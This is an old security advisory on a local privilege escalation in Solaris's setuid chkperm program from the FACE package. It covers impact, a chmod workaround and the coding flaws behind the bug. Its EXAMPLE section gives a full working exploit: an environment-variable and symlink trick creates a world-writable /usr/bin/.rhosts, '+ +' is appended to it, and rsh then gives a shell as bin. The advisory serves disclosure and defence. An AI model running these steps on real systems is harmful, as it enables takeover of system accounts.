home *** CD-ROM | disk | FTP | other *** search
-
- Solaris 2.x Vulnerability [/usr/vmsys/bin/chkperm]
-
- Problem: Vulnerabilities in /usr/vmsys/bin/chkperm
- Platform: Solaris 2.4, 2.5, 2.5.1, other System V derived
- systems with the FACE package installed
- Impact: Local users can overwrite bin owned files with
- zero length files. Local users can create world
- writable bin owned files. Account bin can be
- compromised.
- Solution: Remove the suid/sgid bit from the program until
- a patch is available
-
- ------------------------------------------------------------------------
-
- PROBLEM DESCRIPTION
-
- Solaris 2.4, 2.5, and 2.5.1 (possibly other versions) have a package
- called FACE (Framed Access Command Environment) installed. Included in
- the package is a program called chkperm which checks a file to see if
- the user has permission to use the FACE interface. This program is
- installed suid and sgid bin, and is trivially exploitable to
- compromise the bin account. And in Solaris, which installs many/most
- of the system binaries as bin, it may be said that "binliness is next
- to rootliness."
-
- The FACE package comes from System V, and may be available under other
- SYSV based systems. We welcome reports of other vulnerable systems.
-
- This vulnerability is believed to be known to the intruder community.
-
- ------------------------------------------------------------------------
-
- PLATFORMS AFFECTED
-
- Solaris 2.x, possibly other SYSVR4 derived systems. We welcome
- reports of other vulnerable systems.
-
- ------------------------------------------------------------------------
-
- IMPACT
-
- Local user can gain system privileges as bin (root follows shortly)
-
- ------------------------------------------------------------------------
-
- SUGGESTED WORKAROUND
-
- % chmod ug-s /usr/vmsys/bin/chkperm
-
- ------------------------------------------------------------------------
-
- EXAMPLE
-
- % mkdir /tmp/foo
- % mkdir /tmp/foo/lib
- % chmod -R 777 /tmp/foo
- % setenv VMSYS /tmp/foo
- % umask 0000
- % ln -s /usr/bin/.rhosts /tmp/foo/lib/.facerc
- % /usr/vmsys/bin/chkperm -l -u foo
- % ls -l /usr/bin/.rhosts
- -rw-rw-rw- 2 bin bin 0 Nov 12 09:41 .rhosts
- % echo "+ +" >> /usr/bin/.rhosts
- % ls -l /usr/bin/.rhosts
- -rw-rw-rw- 2 bin bin 4 Nov 12 09:41 .rhosts
- % rsh -l bin localhost /bin/csh -i
- Warning: no access to tty; thus no job control in this shell...
- % id
- uid=2(bin) gid=2(bin)
-
- ------------------------------------------------------------------------
-
- DISCUSSION
-
- The program (which resides at /usr/vmsys/bin/chkperm) does several
- things in an insecure fashion:
-
- 1) It tries to open the file $VMSYS/.facerc and if the file is not
- present it creates it, with zero length, ownership bin.bin
-
- 2) The user's UMASK is inherited, so permissions on the newly-created
- .facerc are under the control of an attacker.
-
- 3) VMSYS by default is set to /usr/lib, but the program cheerfully
- checks your environment for a different VMSYS base directory, and
- uses that.
-
- 4) There is no check made for symbolic links, avoiding the need to
- race.
-
- This exploit is far from original, though it appears to be unpublished
- as yet. Blindly following symlinks, following without checking for
- existence or matching ownership, inheriting the user's environment,
- are examples of very naive programming wholly inappropriate for a
- program installed setuid to a system account.
-
- Sun's practice of shipping their system binaries and binaries
- directories owned and writable by bin certainly contributes to making
- this exposure more effective and dangerous.
-
- Kevin Prigge <klp@tc.umn.edu>
- John Ladwig <jladwig@soils.umn.edu>
-
-